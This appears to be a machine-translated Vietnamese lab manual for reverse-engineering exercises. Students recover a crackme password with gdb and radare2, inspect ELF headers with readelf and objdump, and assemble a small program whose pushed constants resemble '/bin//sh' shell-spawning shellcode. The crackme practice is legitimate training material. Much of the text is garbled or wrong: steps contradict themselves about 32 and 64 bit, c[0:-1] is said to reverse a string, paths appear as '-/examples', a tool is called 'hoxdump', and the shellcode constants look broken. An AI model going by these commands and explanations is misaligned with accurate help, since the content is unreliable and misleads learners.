Bài tập 1: Phân tích Nhị phân

  1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux-32bit sử dụng studentpassword làm Mật khẩu.

[Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

  1. Mở một cửa sổ terminal và nhập cd Downloads.

[Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh cd Downloads]

  1. Sau khi bạn đã vào thư mục, nhập /crackme0x0a trên máy 64-bit. Chương trình sẽ không chạy vì nó được xây dựng cho 64 bit, vì vậy nó sẽ xuất hiện lỗi với máy 32 bit. Bây giờ, hãy chạy chương trình và thử một số mật khẩu để xem liệu bạn có thể đoán được mật khẩu hay không. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị nhiều lần thử mật khẩu cho crackme0x0a]

  1. Vì chúng ta không thể đoán được, bây giờ chúng ta cần thực hiện phân tích và xem những gì chúng ta có thể tìm hiểu về tệp. Chúng ta sẽ sử dụng lệnh file crackme0x0a. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh file crackme0x0a]

  1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta có một tệp thực thi và liên kết định dạng (ELF) 32 bit. Tệp này là 32 bit, LSB (byte có ý nghĩa nhất thấp), thực thi. Điều này có nghĩa là tệp được sắp xếp theo thứ tự little-endian.
  2. Chúng ta sẽ sử dụng một công cụ khác. Nhập rabin2 -I crackme0x0a. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh rabin2 -I crackme0x0a]

  1. Bây giờ, hãy sử dụng công cụ strings mạnh mẽ để xem những gì chúng ta có thể khám phá trong tệp nhị phân. Nhập strings crackme0x0a. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh strings crackme0x0a]

  1. Khi bạn xem xét các chuỗi, bạn có thấy điều gì thú vị không? Chúng ta có lời nhắc mật khẩu, theo sau là những gì dường như là hai phản hồi và sau đó là một chuỗi. Đây có thể là mật khẩu, nhưng có vẻ quá dễ dàng, vì vậy chúng ta hãy tiếp tục khám phá tệp này.
  2. Trong cửa sổ terminal, nhập xxd crackme0x0a | more. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh xxd crackme0x0a | more]

  1. Để sử dụng rabin2 để bẻ khóa tệp, bạn sẽ cần thực thi nó với một tham số khác với tham số được sử dụng trong quá trình thu thập thông tin. Nếu bạn tham khảo hướng dẫn sử dụng, bạn sẽ thấy rằng tham số -z được sử dụng để hiển thị các chuỗi bên trong dữ liệu (tương tự như chuỗi).
  2. Trong cửa sổ terminal, nhập rabin2 -z crackme0x0a. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh rabin2 -z crackme0x0a]

  1. Tiếp theo, chúng ta sẽ sử dụng công cụ Radare2 để xem xét tệp thực thi. Trong cửa sổ terminal, nhập radare2 crackme0x0a. Sau khi chương trình được nhập, hãy nhập ?. Điều này sẽ cho phép bạn xem lại các tùy chọn khác nhau. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh radare2 crackme0x0a]

  1. Bây giờ chúng ta muốn chạy hàm tháo gỡ. Nhập pdf @ main. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của lệnh pdf @ main]

  1. Dành vài phút và xem xét mã đã được tháo gỡ. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau, đó là nơi mật khẩu của chúng ta được đánh giá. Vui lòng kiểm tra ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị một phần của mã đã được tháo gỡ]

  1. Bây giờ, chúng ta muốn xem xét mã đã tháo gỡ với một công cụ khác, gdb crackme0x0a. Trong cửa sổ terminal, thoát khỏi Radare2 và nhập gdb crackme0x0a. Điều này sẽ tải chương trình và cho phép chúng ta xem xét mã chính. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị đầu ra của gdb crackme0x0a]

  1. Có một lệnh strcmp tại 0x804852a. Do đó, hãy đặt điểm dừng tại vị trí đó và chạy chương trình bằng các lệnh sau:
    a. break *0x0804852a
    b. run
  2. Chương trình sẽ chạy cho đến điểm dừng của chúng ta. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị chương trình dừng tại điểm dừng]

  1. Nhập mật khẩu luckyguess. So sánh sẽ tham chiếu mật khẩu thực tế như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị so sánh mật khẩu]

  1. Điều này đã thành công. Để chắc chắn, chúng ta cần kiểm tra mật khẩu đã khám phá. Kiểm tra mật khẩu để xem nó có chính xác hay không, như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị thử nghiệm mật khẩu thành công]

  1. Trong khoa học máy tính, cả phần cứng và phần mềm đều được thiết kế ngược. Tuy nhiên, trong trường hợp này, chúng ta sẽ chỉ đề cập đến việc thiết kế ngược phần mềm, thường là một chương trình đã được biên dịch ở dạng nhị phân. Nó thường không có sẵn, nhưng chúng ta muốn biết cách nó hoạt động, cũng như cách thay đổi nó.
  2. Bây giờ chúng ta đã thực hiện thiết kế ngược, hãy phân tích tệp nhị phân bằng cách sử dụng các công cụ này, chúng ta hãy chuyển sang một số kỹ thuật khác.
  3. Chúng ta muốn xem xét một công cụ khác. Nhập edb. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình bảng điều khiển edb]

  1. Đây là bảng điều khiển cho Trình gỡ lỗi của Evan. Chúng ta đã thảo luận rất ngắn gọn về edb. Bạn được khuyến khích đọc thêm tại đây: https://github.com/eteran/edb-debugger/wiki.
  2. Bây giờ, hãy khám phá mã 32 bit và các thành phần của nó trong 32 bit VM. Nhập objdump -d /bin/bash. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của objdump -d /bin/bash]

  1. Tiếp theo, chúng ta hãy xem xét ký hiệu Intel. Trong cửa sổ terminal, nhập objdump -M intel /bin/bash. Một ví dụ về một phần của đầu ra được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của objdump -M intel /bin/bash]

  1. So sánh hai ảnh chụp màn hình ở trên. Điều khác biệt là việc thiếu % trong ký hiệu Intel.
  2. Chúng ta đã sử dụng công cụ objdump với các đối số khác nhau để làm nổi bật sự khác biệt giữa các ký hiệu AT&T và Intel. Trong trường hợp này, đối số -M xác định cú pháp được sử dụng. Lệnh đầu tiên chúng ta đã sử dụng chỉ đơn giản là objdump -d và ảnh chụp màn hình cho thấy rõ ràng cách sử dụng ký hiệu AT&T. Bây giờ chúng ta hãy xem xét cách ký hiệu Intel được định dạng. Trong ký hiệu Intel, thứ tự các toán hạng, từ trái sang phải, là như sau: lệnh, toán hạng đích, toán hạng nguồn và cuối cùng, toán hạng đích và toán hạng nguồn được phân tách bằng dấu phẩy. Tóm lại, cú pháp Intel được định dạng như sau:

Intel Syntax: instruction <toán hạng đích>,<toán hạng nguồn>

  1. May mắn thay, nasm sẽ tự động hiểu cú pháp mà chúng ta đang sử dụng (32 bit hoặc 64 bit). Khi bạn gặp i386, x86-32, i486, i586 và iA32, hãy biết rằng điều này đề cập đến lắp ráp Intel 32 bit, trong khi x86-64, AMD64 và IA-64 đề cập đến lắp ráp Intel 64 bit. Trong trường hợp này, chúng ta sử dụng i386 để chỉ lắp ráp Intel 32 bit.
  2. Bây giờ, chúng ta hãy khám phá các phương pháp khác nhau để trích xuất thông tin về máy. Trên máy 32 bit, hãy nhập lscpu. Dành một vài phút và xem lại thông tin ở đó.

[Ảnh chụp màn hình đầu ra của lệnh lscpu]

  1. Trong cửa sổ terminal, nhập lspci. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh lspci]

  1. Bây giờ, chúng ta hãy xem /proc. Trong cửa sổ terminal, nhập cat /proc/cpuinfo. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh cat /proc/cpuinfo]

  1. Bây giờ, chúng ta hãy sử dụng gdb để xem các thanh ghi. Trong cửa sổ terminal, nhập các lệnh sau:a. gdb -q /bin/bashb. break mainc. rund. info registers

Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh info registers]

  1. Phần quan trọng của đầu ra này là Endianness của bộ xử lý của chúng ta. Little-endian có nghĩa là khi chúng ta xem xét dữ liệu được lưu trữ trong một thanh ghi hoặc trên ngăn xếp, thanh ghi 0x12345678 sẽ thực sự trông giống như 0x78563412. Điều này rất quan trọng khi chúng ta xây dựng đầu vào của mình và bộ xử lý hiểu và hiểu nó.
  2. Khi chúng ta tìm hiểu về lắp ráp và bộ xử lý, điều quan trọng là phải hiểu Endianness. Có hai loại kiến trúc Endianness chính: big-endian và little-endian. Trong khóa học này, chúng ta sẽ chủ yếu sử dụng little-endian.

Little-endian có nghĩa là khi chúng ta lưu trữ dữ liệu trong bộ nhớ, chúng ta sẽ lưu trữ byte có trọng số nhỏ nhất trước. Ví dụ: nếu chúng ta lưu trữ giá trị 0x12345678 trong bộ nhớ, byte đầu tiên sẽ là 0x78, tiếp theo là 0x56, sau đó là 0x34 và cuối cùng là 0x12. Điều này gây ra một số nhầm lẫn khi chúng ta cần hiển thị các giá trị vì chúng ta thường nghĩ theo big-endian. Do đó, chúng ta cần đảo ngược thứ tự của các byte. Endianness là một lĩnh vực cần phải tính đến khi chúng ta tiến hành gỡ lỗi.

  1. Thoát khỏi gdb.
  2. Trên máy 32 bit, nhập cat /usr/include/i386-linux-gnu/asm/unistd_32.h.
  3. Một ví dụ về đầu ra của lệnh được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của cat /usr/include/i386-linux-gnu/asm/unistd_32.h]

  1. Mở một cửa sổ terminal khác bằng phím tắt SHIFT+CTRL+T.
  2. Trong cửa sổ terminal, nhập man 2 write. Dành vài phút và xem lại thông tin trên trang chính.

[Ảnh chụp màn hình đầu ra của man 2 write]

  1. Mở một cửa sổ terminal khác. Tiếp theo, nhập man 2 exit. Dành vài phút và xem xét thông tin trong trang chính.

[Ảnh chụp màn hình đầu ra của man 2 exit]

  1. Chúng ta đã sẵn sàng để tạo một chương trình assembly nhỏ. Mở trình soạn thảo văn bản bạn chọn và nhập nội dung sau:
  2. global _start
  3. section .text
  4. _start:
  5. xor ecx,ecx
  6. xor edx,edx
  7. xor ebx,ebx
  8. push 0x004003f4
  9. push 0x04632f73
  10. push 0x06962f2f
  11. push 0x068732f6
  12. mov ebx,esp
  13. push 0xc
  14. pop ecx
  15. int 0x80
  16. Lưu tệp dưới dạng code-one.asm và đảm bảo rằng các thụt lề giống như trong ví dụ.
  17. Tiếp theo, nhập các lệnh sau:a. nasm -f elf32 -o code-one.o code-one.asmb. ld code-one.o -o code-onec. chmod +x code-oned. ./code-one
  18. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh được liệt kê trong bước 62]

  1. Như bạn thấy, cần rất nhiều assembly để tạo ra một chương trình đơn giản, vì vậy đây là một trong những lý do tại sao ngôn ngữ C rất phổ biến.
  2. Khi xem lại các tệp nhị phân đã tháo gỡ, chúng ta có thể thấy các thuật ngữ như byte, word, dword và qword. Những thuật ngữ này biểu thị cho 8 bit, 16 bit, 32 bit và 64 bit tương ứng.
  3. Khi nghiên cứu word và dword, còn được gọi là word kép, điều quan trọng là phải hiểu cách PUSH hoạt động trong môi trường operand hai chiều. Cú pháp PUSH [tên thanh ghi] đã được sử dụng trong nhiều năm trước đây. Trong ELF 32 bit, nó có tác động đáng kể đến cách chúng ta sắp xếp dữ liệu để thực thi và tác động đến cách chúng ta đẩy một phần dữ liệu có chiều rộng 32 bit lên ngăn xếp.
  4. Chương trình này dựa trên định dạng ELF (định dạng thực thi và liên kết). Bây giờ, chúng ta sẽ trích xuất thông tin từ trang chính để chúng ta có thể hiểu rõ hơn. Nhập man elf.
  5. Như với bất kỳ thứ gì được đọc từ trang chính, đó là một điều tốt. Nhập man elf.
  6. Dành vài phút và đọc thông tin có trong trang chính. Sau khi bạn đã xem xét trang chính, nhập cat /usr/include/elf.h. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của cat /usr/include/elf.h]

  1. Bây giờ, chúng ta đã sẵn sàng để tìm hiểu thêm về các tệp ELF. Nhập man readelf. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của man readelf]

  1. Tiếp theo, chúng ta hãy xem lại mã của chúng ta bằng công cụ này! Đảm bảo rằng bạn đang ở trong thư mục mà bạn đã tạo chương trình và nhập readelf -h code-one. Đầu ra của lệnh này, bao gồm bắt đầu với ELF Header, được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -h code-one]

  1. Phần Magic là phần bắt đầu của ELF Header và là 7F 45 4c 46 01 01 01 00. Nó bắt đầu bằng ELF. Số tiếp theo là 01 có nghĩa là chúng ta có 32 bit. Nếu nó là 64 bit, nó sẽ là 02. Tiếp theo là 01 cho little-endian. Nếu giá trị là 02, nó sẽ là big-endian.
  2. Tiếp theo, chúng ta muốn kiểm tra tệp đối tượng. Nhập readelf -h code-one.o. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -h code-one.o]

  1. Như chúng ta có thể thấy trong ảnh chụp màn hình, Loại là REL, vì vậy đây là một tệp có thể di chuyển lại. Như vậy, không có chương trình nào tiêu đề. Tiêu đề chương trình thực thi bắt đầu tại 52 byte, vì vậy ở đây nó là 0.
  2. Tiếp theo, chúng ta sẽ xem danh sách. Nhập readelf -l code-one. Đây là a.out 64 bit. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -l code-one]

  1. Tiêu đề chương trình được hiển thị trong ảnh chụp màn hình. Nó bắt đầu tại địa chỉ ảo 0x08048000, địa chỉ vật lý 0x08048000, với kích thước 0x000004f8 byte, và chiếm 0x000004f8 byte trong bộ nhớ. Chúng ta thấy các cờ ‘R X’, cho biết rằng đó là có thể đọc và thực thi. Giá trị của độ lệch tệp là 0x00000000 và giá trị độ lệch bộ nhớ là 0x08048000. Như vậy, 496 byte đầu tiên của tệp được ánh xạ tới phân đoạn 0x08048000. Phần này cũng là phần thực thi, phần .text.
  2. Tiếp theo, nhập readelf -S code-one. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -S code-one]

  1. Ảnh chụp màn hình này hiển thị các tiêu đề phần. Chúng ta có thể thấy rằng đối với phần .text, loại được biểu thị là PROGBITS và được đánh dấu là có thể thực thi (X). PROGBITS cho biết rằng phần này chứa dữ liệu chương trình. Đây là bởi vì chúng ta đã mã hóa chương trình trong phần .text.
  2. Tiếp theo, nhập readelf -s code-one. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -s code-one]

  1. Ảnh chụp màn hình này hiển thị bảng ký hiệu. Chúng ta có chỉ số bảng chuỗi, vị trí bộ nhớ của ký hiệu, giá trị của ký hiệu (độ lệch), kích thước của ký hiệu tính bằng byte, loại ký hiệu, liên kết của ký hiệu (cho dù nó cục bộ, toàn cục, yếu, v.v.), số phần và tên ký hiệu. Trong đầu ra, chúng ta thấy ký hiệu _start, được đánh dấu là GLOBAL, đó là điểm bắt đầu tệp của chúng ta.
  2. Tiếp theo, chúng ta hãy xem xét thông tin trong ELF Header. Nhập readelf -r .text code-one. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -r .text code-one]

  1. Ảnh chụp màn hình này hiển thị các byte đã di chuyển lại.
  2. Tiếp theo, nhập readelf -x .text code-one. Đầu ra giống như lệnh trước, nhưng tùy chọn này sẽ xuất ra mã thập lục phân.

[Ảnh chụp màn hình đầu ra của readelf -x .text code-one]

  1. Các mục tiêu của bài tập đã đạt được.

Bài tập 2: Phân tích nhị phân trên máy 64 bit

Mục tiêu bài tập:

Trong bài tập này, chúng ta sẽ khám phá việc tạo và dữ liệu cho ngôn ngữ assembly.

Nhiệm vụ bài tập:

  1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux bằng studentpassword làm mật khẩu.

[Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

  1. Trên máy 64 bit, nhập nội dung sau:a. gdb -q /bin/bashb. break mainc. rund. info registers

Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của info registers]

  1. Như ảnh chụp màn hình ở Bước 2 cho thấy, chúng ta có thêm các thanh ghi cùng với phiên bản 64 bit của các thanh ghi mà chúng ta đã thảo luận. Lưu ý rsp. Nhập lscpu. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lscpu]

  1. Tiếp theo, nhập cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h.

[Ảnh chụp màn hình đầu ra của cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h]

  1. Như bạn có thể thấy từ ảnh chụp màn hình ở trên, chúng ta có nhiều hơn ở đây với lệnh gọi hệ thống write ở vị trí 1. Lệnh gọi hệ thống exit ở vị trí 60.
  2. Tiếp theo, nhập python để vào trình soạn thảo python.

[Ảnh chụp màn hình nhắc lệnh python]

  1. Trong trình soạn thảo, nhập c = “Hello, World!”.
  2. Tiếp theo, nhập c[0:-1].encode(‘hex’). Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của c[0:-1].encode(‘hex’)]

  1. Sau khi chuỗi Hello, World! khả dụng, chúng ta sẽ khởi tạo một biến có tên c và lưu trữ chuỗi vào đó. Bây giờ, chúng ta sẽ sử dụng sức mạnh của thao tác chuỗi của Python bằng biểu thức c[0:-1] để đảo ngược thứ tự các ký tự trong chuỗi. Sau đó, chúng ta gọi phương thức encode(‘hex’) lên biểu diễn chuỗi đã đảo ngược. Điều này được thực hiện bằng cách sử dụng -1 làm một phần của cú pháp. Điều này làm cho chuỗi của chúng ta gần như có thể sử dụng được với assembly.
  2. Trong cửa sổ terminal, nhập readelf -a -W -/examples/samplecode/helloworld64. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -a -W -/examples/samplecode/helloworld64]

  1. Đối số -a hiển thị các mảng ELF, tiêu đề chương trình, tiêu đề phần, tiêu đề bảng ký hiệu, di chuyển lại, phần động, thông tin phiên bản, thông tin cụ thể về kiến trúc, thông tin liên quan đến gỡ lỗi và ghi chú. -W xuất rộng tất cả các trường thập lục phân và chuỗi. Tệp helloworld64 là một tệp thực thi ở định dạng ELF-64 bit. Tiêu đề chương trình bắt đầu ở 0x4000, là vị trí bộ nhớ mà chương trình bắt đầu thực thi. Tiêu đề phần cung cấp thông tin về các phân đoạn khác nhau trong tệp đối tượng, bao gồm cả phân đoạn .text. Có chín tiêu đề chương trình, mỗi tiêu đề có kích thước 64 byte.
  2. Tiếp theo, nhập readelf -s -/examples/samplecode/helloworld64. Đầu ra của bảng ký hiệu được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -s -/examples/samplecode/helloworld64]

  1. Những gì chúng ta có thể thu thập từ phần đầu ra này là hàm printf() được sử dụng ở đâu đó trong chương trình. Các chương trình lớn hơn với nhiều mã hơn và những chương trình được liên kết động sẽ có nhiều hàm khác được liên kết. Đầu ra của bảng ký hiệu cho thấy tất cả các tham chiếu ký hiệu trong chương trình, bao gồm bất kỳ tên biến hoặc hàm nào và cả giá trị ngay lập tức.
  2. Các mục tiêu của bài tập đã đạt được. Đóng tất cả các cửa sổ và dọn dẹp nếu cần.

Bài tập 3: Phương pháp phân tích nhị phân

Mục tiêu bài tập:

Tìm hiểu phương pháp phân tích nhị phân.

Nhiệm vụ bài tập:

  1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux bằng studentpassword làm mật khẩu.

[Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

  1. Mở một cửa sổ terminal và nhập sudo -l.

[Ảnh chụp màn hình đầu ra của sudo -l]

  1. Bước đầu tiên là khám phá. Trong cửa sổ terminal, nhập find / -executable -type f. Đầu ra của lệnh này sẽ hiển thị một danh sách dài các chương trình, nhưng chúng ta đã đợi để trình bày bước này, vì chúng ta đang thực hiện phân tích nhị phân và cần tìm các tệp thực thi.

[Ảnh chụp màn hình đầu ra của find / -executable -type f]

  1. Tiếp theo, trong terminal, nhập file -l /bin/cat. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của file -l /bin/cat]

  1. Tiếp theo, nhập ls -alt /bin/. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của ls -alt /bin/]

  1. Đối số -l được sử dụng để xem tệp nhị phân và hiển thị kết quả dưới dạng một chuỗi cho loại mime và mã hóa mime của chính tệp nhị phân. Lưu ý đầu ra application/x-executable; charset=binary.
  2. Tiếp theo, trong cửa sổ terminal, nhập updatedb; locate ‘cat’. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của updatedb; locate ‘cat’]

  1. Lệnh này được sử dụng để cập nhật cơ sở dữ liệu cho lệnh locate. Sau đó, chúng ta sử dụng lệnh locate để tìm bất kỳ tệp nào có ‘cat’ trong tên. Các công cụ này cùng nhau tạo nên một cách dễ dàng để tìm các tệp nhị phân cụ thể trong hệ thống. Ngoài ra, chúng có ích khi xem xét các quy trình đang chạy trên máy chủ.
  2. Trong cửa sổ terminal, nhập ps -ef. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của ps -ef]

  1. Lệnh này hiển thị tất cả các quy trình đang chạy cho tất cả người dùng trong hệ thống, sử dụng định dạng đầy đủ cho đầu ra.
  2. Trong cửa sổ terminal, nhập for i in $(find / -executable -type f);do file $i | grep ‘x-executable; charset=binary’;done. Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của for i in $(find / -executable -type f);do file $i | grep ‘x-executable; charset=binary’;done]

  1. Lệnh này hiển thị cho mọi i trong đầu ra của lệnh của chúng ta, hãy chạy lệnh file và grep đầu ra để chỉ hiển thị các tệp nhị phân thực thi.
  2. Bây giờ, chúng ta đã sẵn sàng cho bước thu thập thông tin của các tệp nhị phân. Mở một cửa sổ terminal mới và nhập file -/examples/samplecode/info. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của file -/examples/samplecode/info]

  1. Chúng ta thấy rằng đây là một tệp thực thi có thể liên kết ở định dạng ELF 32-bit có bảng ký hiệu vì nó không bị tước trong ví dụ của chúng ta. Lệnh file là một cách tuyệt vời để bắt đầu kiểm tra nhị phân. Nó cung cấp cho chúng ta các chi tiết như loại tệp, kiến trúc, liệu chúng ta có đang xử lý một đối tượng có thể di chuyển lại hay không, hàm băm nhị phân (cho dù chúng ta có đang xử lý một tệp có bảng ký hiệu bị tước hay không) và phụ thuộc vào phần lớn vào các tùy chọn được sử dụng khi tệp nhị phân được biên dịch.
  2. Tiếp theo, trong cửa sổ terminal, nhập strings -/examples/samplecode/info. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của strings -/examples/samplecode/info]

  1. Đầu ra này tiết lộ những gì dường như là một mật khẩu được mã hóa cứng, một thông báo yêu cầu mật khẩu, một chuỗi định dạng kiểu C và những gì có vẻ là thông báo thất bại.
  2. Bạn cũng sẽ quen thuộc với việc sử dụng printf, scanf và strcmp trong lập trình C. Điều này xuất hiện gần đầu ra. Do đó, có vẻ như printf được sử dụng để hiển thị đầu ra theo một cách nào đó. Dựa trên mật khẩu được mã hóa cứng và câu yêu cầu mật khẩu, bạn có thể đưa ra một số giả định về chương trình.
  3. Bây giờ, chúng ta sẽ quay lại lệnh readelf của mình. Nhập readelf -h -/examples/samplecode/info.

[Ảnh chụp màn hình đầu ra của readelf -h -/examples/samplecode/info]

  1. Công cụ readelf là vô giá trong việc thu thập thông tin về tệp nhị phân.
  2. Tiếp theo, nhập readelf -l -W -/examples/samplecode/info. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của readelf -l -W -/examples/samplecode/info]

  1. Điều này cũng cung cấp cho chúng ta thêm thông tin. Tiếp theo, nhập các lệnh sau và xem lại đầu ra của mỗi lệnh:a. readelf -S -W -/examples/samplecode/infob. readelf -p .text -/examples/samplecode/infoc. readelf -x .text -W -/examples/samplecode/info

Một ví dụ về đầu ra của các lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh ở Bước 21]

  1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta thấy mật khẩu được mã hóa cứng trong kết xuất.

[Ảnh chụp màn hình đầu ra của các lệnh ở Bước 21]

  1. Trong terminal, nhập chuỗi lệnh tiếp theo và xem xét đầu ra của mỗi lệnh:a. readelf -R .text -W -/examples/samplecode/infob. readelf -p .strtab -W -/examples/samplecode/infoc. objdump -j .text -s -/examples/samplecode/infod. objdump -x -/examples/samplecode/infoe. objdump -t -/examples/samplecode/infof. hoxdump -C -/examples/samplecode/info

Một ví dụ về đầu ra của các lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh ở Bước 23]

  1. Bạn được khuyến khích kiểm tra bất kỳ phím tắt nào bạn thích và sử dụng nó trong khi hiểu. hoxdump là một công cụ khác, có thể tốt hơn, vì nó cho phép bạn sửa đổi tệp nhị phân. Tuy nhiên, có những khác biệt nhỏ trong các API của công cụ do sự khác biệt trong hệ điều hành và những khác biệt này thể hiện rõ ràng nhất khi các phiên bản khác nhau của công cụ được sử dụng trên cùng một tệp nhị phân. Vui lòng thử nghiệm với hoxdump bằng cách sử dụng API, chẳng hạn như: ./hoxdump -C file.exe -s 0x100 -l 20.
  2. Công cụ tiếp theo chúng ta sẽ sử dụng là Bộ tháo rời Mạng. Trong cửa sổ terminal, nhập ndisasm -a -p intel -/examples/samplecode/info. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của ndisasm -a -p intel -/examples/samplecode/info]

  1. Lệnh tiếp theo cần nhập là objdump -D -M intel -/examples/samplecode/info. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của objdump -D -M intel -/examples/samplecode/info]

  1. Như một lời nhắc nhở, chuỗi intel là để định dạng đầu ra trong Intel và không phải mặc định của AT&T.
  2. Nhập chuỗi lệnh tiếp theo và xem lại đầu ra của mỗi lệnh:a. objdump -d -M intel -/examples/samplecode/infob. objdump -d -M intel -/examples/samplecode/info
  3. Một ví dụ về kết xuất của mã đối tượng được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh ở Bước 28]

  1. Lưu ý sự khác biệt về đầu ra giữa việc tháo gỡ đối tượng đã lắp ráp và chỉ có quy trình lắp ráp. Tệp này chưa được liên kết và không có quá trình động nào.
  2. Ở giai đoạn này, chúng ta muốn thực hành nhiều hơn. Trước khi thực hiện điều đó, chúng ta có thể thực hiện các lệnh sau và kiểm tra đầu ra để có được sự hiểu biết sâu hơn:

a. gdb -/examples/samplecode/info

b. `set disassembly -flavor intel`

c. `break main`

d. `run`

  1. Một ví dụ về thời điểm chương trình chạm điểm dừng được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh trong Bước 31]

  1. Bây giờ, chúng ta đã sẵn sàng để xem nội dung của các thanh ghi. Nhập info registers.

[Ảnh chụp màn hình đầu ra của info registers]

  1. Tiếp theo, nhập chuỗi lệnh sau:a. nextib. info registersc. nextid. info registers

Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh trong Bước 34]

  1. Nhập lệnh x/s $rip, nếu bạn đang sử dụng hệ thống 64-bit. Về cơ bản, lệnh cuối cùng này nói với GDB rằng chúng ta muốn kiểm tra thanh ghi RIP và hiển thị đầu ra dưới dạng chuỗi.

[Ảnh chụp màn hình đầu ra của x/s $rip]

  1. Tiếp theo, nhập disassemble. Dành vài phút để xem lại đầu ra của lệnh này.

[Ảnh chụp màn hình đầu ra của disassemble]

